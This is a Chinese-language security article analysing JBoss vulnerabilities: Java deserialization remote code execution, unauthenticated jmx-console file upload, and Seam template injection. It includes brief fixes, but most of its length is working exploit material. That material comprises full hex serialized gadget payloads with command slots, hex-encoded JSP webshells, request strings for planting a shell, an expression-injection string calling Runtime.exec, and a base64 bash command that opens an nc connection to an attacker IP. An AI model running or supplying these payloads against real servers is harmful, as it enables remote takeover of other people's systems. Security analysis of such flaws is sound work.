開啟JBoss的潘多拉魔盒——JBoss高危漏洞分析
0x01 JBoss簡介
JBoss是一個基於J2EE的 ofollow,noindex" target="_blank">開放原始碼 應用伺服器 ,程式碼遵循LGPL許可,可以在任何商業應用中免費使用;JBoss也是一個管理EJB的容器和伺服器,支援EJB 1.1、EJB 2.0和EJB3規範。但JBoss核心服務不包括支援servlet/JSP的WEB容器,一般與Tomcat或Jetty繫結使用。在J2EE 應用伺服器 領域,JBoss是發展最為迅速的應用伺服器。由於JBoss遵循商業友好的LGPL授權分發,並且由開源社群開發,這使得JBoss廣為流行。
JBoss有許多優點。
其一,將具有革命性的JMX 微核心 服務作為其 匯流排結構 ;
其二,本身就是 面向服務架構 (Service-Oriented Architecture, OA/2140650" target="_blank" textvalue="SOA" rel="nofollow,noindex">SOA );
其三,具有統一的類裝載器,從而能夠實現應用的 熱部署 和熱解除安裝能力。
因此,高度模組化的和鬆耦合。JBoss應用伺服器是健壯的、高質量的,而且還具有良好的效能。
JBoss AS作為Redhat公司的商業產品JBoss Enterprise Application Platform的上游基礎,為了避免使用者混淆,該公司在去年10月份就為JBoss AS擬定一個新名字——WildFly。
目前JBoss在全球的使用量也佔居前列。據統計,在全球範圍內對網際網路開放JBoss服務的資產數量多達106,499臺,美國、中國和巴西的JBoss的使用量接近JBoss總使用量的55%,其中歸屬中國地區的資產數量為18,735臺。
由此看來,國內使用JBoss服務的使用者很廣泛,因此防範JBoss漏洞就顯得尤為重要了。一旦JBoss的潘多拉魔盒被開啟,必將在當今網路中掀起腥風血雨。
0x02高危漏洞介紹
近幾年JBoss爆發的漏洞數量與其他著名的中介軟體(Weblogic,Jenkins,WebSphere等)相比,數量相對較少。然而,由於最近幾年Java反序列化漏洞的肆虐,JBoss也深受其害,相繼爆發了三個著名的高危漏洞。
下面介紹一下JBoss“潘多拉魔盒”中的高危漏洞。
JBoss高危漏洞主要涉及到兩種。
第一種是利用未授權訪問進入JBoss後臺進行檔案上傳的漏洞,例如:CVE-2007-1036,CVE-2010-0738,CVE-2005-5750以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability。
另一種是利用Java反序列化進行遠端程式碼執行的漏洞,例如:CVE-2015-7501,CVE-2017-7504,CVE-2017-12149,CVE-2013-4810。
除此之外,還要額外介紹一下JBoss seam2的模板注入CVE-2010-1871漏洞。
Java反序列化RCE漏洞
關於Java反序列化漏洞的利用思路此前已經介紹過,詳情請看 http://www.4hou.com/vulnerable/12874.html
1.CVE-2015-7501漏洞
此漏洞主要是由於JBoss中invoker/JMXInvokerServlet路徑對外開放,由於JBoss的jmx元件支援Java反序列化,並且在反序列化過程中沒有加入有效的安全檢測機制,導致攻擊者可以傳入精心構造好的惡意序列化資料,在jmx對其進行反序列化處理時,導致傳入的攜帶惡意程式碼的序列化資料執行,造成反序列化漏洞,下面是傳入的序列化結構。
從圖中我們可以看到,此漏洞的payload和weblogic Java反序列化CVE-2015-4852原理相同,都是利用了Apache Commons Collections的基礎庫進行Java反序列化漏洞的利用。
CVE-2015-7501 POC
首先我們進入到/invoker/JMXInvokerServlet路徑下,post傳入我們構造好的payload,下面的序列化POC需要將16進位制解碼。
aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5472616e73666f726d65644d617061773fe05df15a700300024c000e6b65795472616e73666f726d657274002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b4c001076616c75655472616e73666f726d657271007e00057870707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001900000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e00197371007e00117571007e001600000002707571007e001600000000740006696e766f6b657571007e001900000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00167371007e00117571007e001600000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400072f62696e2f73687400022d63740067' + binascii.b2a_hex(cmd) + '740004657865637571007e0019000000017671007e002a737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c7708000000100000000174000576616c756574000d646f65732774206d617474657278787672001b6a6176612e6c616e672e616e6e6f746174696f6e2e54617267657400000000000000000000007870
在上面的POC中,cmd是我們想要執行的程式碼,這裡大家注意一下,binascii.b2a_hex(cmd)前面的兩位(標紅的部分)是代表cmd轉換為16進位制的長度。所以需要根據我們具體傳入的程式碼而進行調整。
這個漏洞的修補方法很簡單,因為ysoserial工具生成的payload都依賴於InvokerTransformer類。如果使用者在正常業務中不使用此類,可以將此類移除,方法為使用Winzip開啟jar檔案,在org/apache/commons/collections/functors/InvokerTransformer.class刪除該檔案。
2.CVE-2017-7504漏洞
CVE-2017-7504漏洞與CVE-2015-7501的漏洞如出一轍,只是利用的路徑稍微出現了變化,CVE-2017-7504出現在/jbossmq-httpil/HTTPServerILServlet路徑下,一般出現如圖所示的介面,絕大多數存在此漏洞。
漏洞的利用方式也和CVE-2105-7501相同,只需要在存在漏洞的路徑下post傳入我們構造的payload,即可對存在漏洞的伺服器進行遠端程式碼攻擊。Payload使用上面提到的CVE-2015-7501的POC即可。
3.CVE-2017-12149漏洞
此漏洞主要是由於jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目錄下的ReadOnlyAccessFilter.class檔案中的doFilter方法,再將序列化傳入ois中,並沒有進行過濾便呼叫了readObject()進行反序列化,導致傳入的攜帶惡意程式碼的序列化資料執行,造成了反序列化的漏洞,下面粘出doFilter方法。
看到程式碼中的MarshalledInvocation,也許熟悉weblogic Java反序列化漏洞的同學可能會想到CVE-2016-3510漏洞。沒錯,這個漏洞也是利用了MarshalledInvocation類進行的Java反序列化攻擊。首先我們進入到/invoker/readonly路徑下,post傳入我們構造好的payload,下面的序列化POC需要將16進位制解碼。
CVE-2017-12149的POC(序列化)
aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000037372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000005374002679736f73657269616c2e7061796c6f6164732e436f6d6d6f6e73436f6c6c656374696f6e7335740018436f6d6d6f6e73436f6c6c656374696f6e73352e6a6176617400096765744f626a6563747371007e000b0000003571007e000d71007e000e71007e000f7371007e000b0000002274001979736f73657269616c2e47656e65726174655061796c6f616474001447656e65726174655061796c6f61642e6a6176617400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00077872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e001a78737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00017870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e003200000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e00327371007e002b7571007e002f00000002707571007e002f00000000740006696e766f6b657571007e003200000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e002f7371007e002b757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000017400b1 + cmd_hex + 740004657865637571007e00320000000171007e00377371007e0027737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878'
這裡我們在cmd_hex所在位置,必須要插入類似於
“bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}”
這種形式的命令才可以達到攻擊效果,這是因為使用了“Java.lang.Runtime.exec(String)”語句而導致的一些限制。首先是不支援shell操作符,如輸出重定向以及管道。其次是傳遞給payload命令的引數中不能包含空格。同樣前面標紅的那兩位(b1)也需要和我們插入的指令長度相符,這是Java序列化中的結構規定。
如果進入到漏洞所在路徑看見如下圖的介面,很可能存在CVE-2017-12149漏洞。
4.CVE-2013-4810漏洞
此漏洞和CVE-2015-7501漏洞原理相同,這裡詳細介紹一下兩者的區別,其區別就在於兩個漏洞選擇的進行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue進行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation進行反序列化並上傳構造的檔案。
首先我們進入到/invoker/JMXInvokerServlet,/invoker/EJBInvokerServlet路徑下,post傳入我們構造好的payload,並在頭部傳入。
ContentType: application/x-Java-serialized-object;.jboss.invocation.MarshalledInvocation\r\n
Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n
User-Agent: Java/1.6.0_21\r\n
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n
Connection: keep-alive\r\n
Content-type: application/x-www-form-urlencoded\r\n
下面的序列化POC需要將16進位制解碼。
CVE-2013-4810的POC(序列化)
aced0005737200296f72672e6a626f73732e696e766f636174696f6e2e4d61727368616c6c6564496e766f636174696f6ef6069527413ea4be0c0000787070770878949847c1d05387737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000078702695be0a737200246f72672e6a626f73732e696e766f636174696f6e2e4d61727368616c6c656456616c7565eacce0d1f44ad0990c000078707a0000036800000360aced0005757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870000000047372001b6a617661782e6d616e6167656d656e742e4f626a6563744e616d650f03a71beb6d15cf030000787074002c6a626f73732e61646d696e3a736572766963653d4465706c6f796d656e7446696c655265706f7369746f72797874000573746f72657571007e0000000000057400086d6d6d6d2e776172740005696e6465787400042e6a73707402003c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612e696f2e2a22253e3c2569662028726571756573742e676574506172616d657465722822636865636b22292e657175616c73282261222929202020206f75742e7072696e746c6e2822303938656630336131356561663134646665363661353936636630656235313022293b69662028726571756573742e676574506172616d657465722822636d64222920213d206e756c6c297b2020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b202020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b20202020496e70757453747265616d20696e203d20702e676574496e70757453747265616d28293b2020202044617461496e70757453747265616d20646973203d206e65772044617461496e70757453747265616d28696e293b20202020537472696e672064697372203d206469732e726561644c696e6528293b202020207768696c652028206469737220213d206e756c6c29202020207b20202020202020206f75742e7072696e746c6e2864697372293b202020202020202064697372203d206469732e726561644c696e6528293b202020207d7d253e737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c7565787001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000057400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e67740007626f6f6c65616e73209bf978770400000001737200226f72672e6a626f73732e696e766f636174696f6e2e496e766f636174696f6e4b6579b8fb7284d79385f90200014900076f7264696e616c7870000000057371007e0005770d00000005aced000570fb57a7aa787704000000037371007e000700000004737200236f72672e6a626f73732e696e766f636174696f6e2e496e766f636174696f6e5479706559a73a1ca52b7cbf0200014900076f7264696e616c7870000000017371007e00070000000a7074000f4a4d585f4f424a4543545f4e414d457372001b6a617661782e6d616e6167656d656e742e4f626a6563744e616d650f03a71beb6d15cf030000787074002c6a626f73732e61646d696e3a736572766963653d4465706c6f796d656e7446696c655265706f7369746f72797878
POC的序列化結構如下圖:
圖中紅框位置就是我們執行上傳檔案功能(jboss.admin中的DeploymentFileRepository)的程式碼和上傳檔案的內容。
另外如果是檢測web-console/Invoker路徑下的漏洞,則傳入http頭部如下
ContentType: application/x-Java-serialized-object;
class=org.jboss.invocation.RemoteMBeanInvocation\r\n
Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n
User-Agent: Java/1.6.0_21\r\n
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n
Connection: keep-alive\r\n
Content-type: application/x-www-form-urlencoded\r\n
post傳入的payload如下
aced00057372002e6f72672e6a626f73732e636f6e736f6c652e72656d6f74652e52656d6f74654d4265616e496e766f636174696f6ee04fa37a74ae8dfa0200044c000a616374696f6e4e616d657400124c6a6176612f6c616e672f537472696e673b5b0006706172616d737400135b4c6a6176612f6c616e672f4f626a6563743b5b00097369676e61747572657400135b4c6a6176612f6c616e672f537472696e673b4c00107461726765744f626a6563744e616d6574001d4c6a617661782f6d616e6167656d656e742f4f626a6563744e616d653b787074000573746f7265757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870000000057400086b6d6f6c2e776172740005696e6465787400042e6a73707402003c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612e696f2e2a22253e3c2569662028726571756573742e676574506172616d657465722822636865636b22292e657175616c73282261222929202020206f75742e7072696e746c6e2822303938656630336131356561663134646665363661353936636630656235313022293b69662028726571756573742e676574506172616d657465722822636d64222920213d206e756c6c297b2020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b202020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b20202020496e70757453747265616d20696e203d20702e676574496e70757453747265616d28293b2020202044617461496e70757453747265616d20646973203d206e65772044617461496e70757453747265616d28696e293b20202020537472696e672064697372203d206469732e726561644c696e6528293b202020207768696c652028206469737220213d206e756c6c29202020207b20202020202020206f75742e7072696e746c6e2864697372293b202020202020202064697372203d206469732e726561644c696e6528293b202020207d7d253e737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c7565787001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000057400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e67740007626f6f6c65616e7372001b6a617661782e6d616e6167656d656e742e4f626a6563744e616d650f03a71beb6d15cf030000787074002c6a626f73732e61646d696e3a736572766963653d4465706c6f796d656e7446696c655265706f7369746f727978
POC的序列化結構如下圖
圖中紅框位置就是我們上傳檔案內容。
JBoss後臺檔案上傳的漏洞
1.CVE-2007-1036漏洞
此漏洞主要是由於JBoss中/jmx-console/HtmlAdaptor路徑對外開放,並且沒有任何身份驗證機制,導致攻擊者可以進入到jmx控制檯,並在其中執行任何功能。該漏洞利用的是後臺中jboss.admin -> DeploymentFileRepository -> store()方法,通過向四個引數傳入資訊,達到上傳shell的目的,其中arg0傳入的是部署的war包名字,arg1傳入的是上傳的檔案的檔名,arg2傳入的是上傳檔案的檔案格式,arg3傳入的是上傳檔案中的內容。通過控制這四個引數即可上傳shell,控制整臺伺服器。但是通過實驗發現,arg1和arg2可以進行檔案的拼接,例如arg1=she,arg2=ll.jsp。這個時候伺服器還是會進行拼接,將shell.jsp傳入到指定路徑下。後面的CVE-2010-0738和CVE-2005-5750漏洞也存在這一特性。
CVE-2007-1036 POC
action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=Java.lang.String&arg0=' + war_name + '.war&argType=Java.lang.String&arg1=' + str(filename) + '&argType=Java.lang.String&arg2=.txt&argType=Java.lang.String&arg3=helloworld&argType=boolean&arg4=True
其中war_name是部署war包的名稱,filename是我們想要上傳的檔名。漏洞利用過程就是將POC以GET或POST方式在/jmx-console/HtmlAdaptor路徑下進行傳入即可。
下圖是利用此payload進行shell上傳
這個是存在漏洞的後臺路徑
圖中的store()函式便是檔案上傳使用的方法,通過構造內部的4的引數,將我們構造好的檔案傳到任何我們指定的位置。
2.CVE-2010-0738漏洞
此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的區別是CVE-2010-0738漏洞利用了HTTP中HEAD請求方法,繞過了對GET和POST請求的限制,成功地再次利用jboss.admin -> DeploymentFileRepository -> store()方法上傳檔案。
CVE-2010-0738 POC
action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=Java.lang.String&arg0=' + war_name + '.war&argType=Java.lang.String&arg1=' + str(filename) + '&argType=Java.lang.String&arg2=.txt&argType=Java.lang.String&arg3=helloworld&argType=boolean&arg4=True
其中war_name是部署war包的名稱,filename是我們想要上傳的檔名。漏洞利用過程就是將POC以HEAD方式在/jmx-console/HtmlAdaptor路徑下進行傳入即可。
下圖是成功上傳shell的截圖。
3.CVE-2005-5750漏洞
此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的區別是CVE-2006-5750漏洞利用methodIndex進行store()方法的呼叫。其中methodIndex是通過方法的編號進行呼叫。
CVE-2005-5750 POC
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIndex=5&arg0=' + war_name + '.war&arg1=' + str(filename) + '&arg2=.txt&arg3=helloworld&arg4=True'
其中war_name是部署war包的名稱,filename是我們想要上傳的檔名。在/jmx-console/HtmlAdaptor路徑下,使用HEAD方法傳入上面構造好的payload,即可對此漏洞進行利用。
下圖是成功上傳shell的截圖。
4.JBoss jmx-consoleHtmlAdaptor addURL() 檔案上傳漏洞
此漏洞是由於JBoss中/jmx-console/HtmlAdaptor路徑對外開放,並且沒有任何身份驗證機制,導致攻擊者可以進入到jmx控制檯,並在其中執行任何功能。該漏洞利用的是後臺jboss.deployment -> DeploymentScanner -> Java.net.URL型別 addURL()
方法,通過向一個引數傳入url進行訪問,在要訪問的url中構造帶有shell的war包,當伺服器訪問時便會上傳shell。但是,上傳shell的檔案只是一個對映檔案,當url一旦無法訪問或者內部資源丟失,則伺服器上的檔案也會相應消失。
JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability POC
action=invokeOpByName&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL&methodName=addURL&argType=Java.net.URL&arg0=http%3A%2F%2F + cmd
其中arg0傳入的是我們可以控制伺服器訪問的url。在/jmx-console/HtmlAdaptor路徑下GET傳入我們構造好的payload,即可對此漏洞進行漏洞利用。
下圖是漏洞利用所選擇的函式
防禦以上漏洞,其實只需要將JBoss後臺新增許可權,控制訪問者對敏感路徑訪問即可。
JBoss seam2模板注入
在介紹漏洞之前,首先介紹一下Java反射機制。
很多POC都是利用Java的反射機制來呼叫需要的方法進行遠端程式碼執行。在Java中,一切皆為物件,包括Class物件。Java反射機制是在執行狀態中,對於任意一個類,都能夠知道這個類的所有屬性和方法;對於任意一個物件,都能夠呼叫它的任意一個方法和屬性。
在下面的漏洞中,我們可以利用一些函式去反射需要的類,以及類的方法。例如,利用getClass()函式獲取類,並利用getMethod()獲取我們想要反射的方法。在CVE-2010-1871,就是通過反射出Java.lang.Runtime.getRuntime().exec()方法,進行遠端程式碼執行。
1.CVE-2010-1871漏洞
此漏洞是通過seam元件中插入#{payload}進行模板注入,我們可以在/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}中插入我們要執行的方法,我們可以通過Java反射機制來獲取到Java.lang.Runtime.getRuntime().exec()方法,從而可以傳入任何想要執行的指令。
CVE-2010-1871 POC
actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('Java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('Java.lang.Runtime')).exec(cmd)}
其中cmd代表傳入的遠端命令。在/admin-console/login.seam路徑下,POST傳入我們構造好的payload,即可對此漏洞利用。
0x03結語
目前,JBoss未授權訪問的漏洞已經得到了很好的修復,一些對外元件都添加了許可權訪問控制,想繼續利用
JBoss的潘多拉魔盒已經開啟,每一個JBoss高危漏洞都會給使用JBoss的使用者造成巨大的災難。傳言,潘多拉在開啟魔盒的瞬間,由於害怕和緊張,在智慧女神雅典娜放在盒子中的“希望”還沒有飛出,就關上了盒子,導致了人類飽受疾病與災難的痛苦。那麼作為一個安全研究員,放飛盒子中的“希望”就是我們現在需要努力的方向。及時的在漏洞爆發期間完成對漏洞的分析,並完成對漏洞的預防,防止漏洞攻擊在網路環境中肆虐,保護大家的網路環境,這便是安全研究員的職責所在。
目前,JBoss未授權訪問的漏洞已經得到了很好的修復,一些管理後臺都添加了許可權訪問控制,想繼續通過JBoss後臺進行檔案上傳在現在的JBoss版本已經很少能實現了。目前JBoss的攻擊趨勢隨著2015年FoxGlove Security 安全團隊的 @breenmachine 部落格的釋出而漸漸偏向於Java反序列化攻擊。因為這種攻擊的特點是,危險等級高,影響範圍廣,一個Java反序列化漏洞造成的影響是巨大的。所以對於JBoss,我們需要做的防護措施就是,在各個對外開放元件進行輸入驗證,確保傳入的資訊中沒有對伺服器產生危害的內容。
漏洞挖掘者和漏洞防禦者之間的博弈從未停止過,而且這種博弈在今後的生活中也將會愈演愈烈,安全研究員時刻準備迎接挑戰。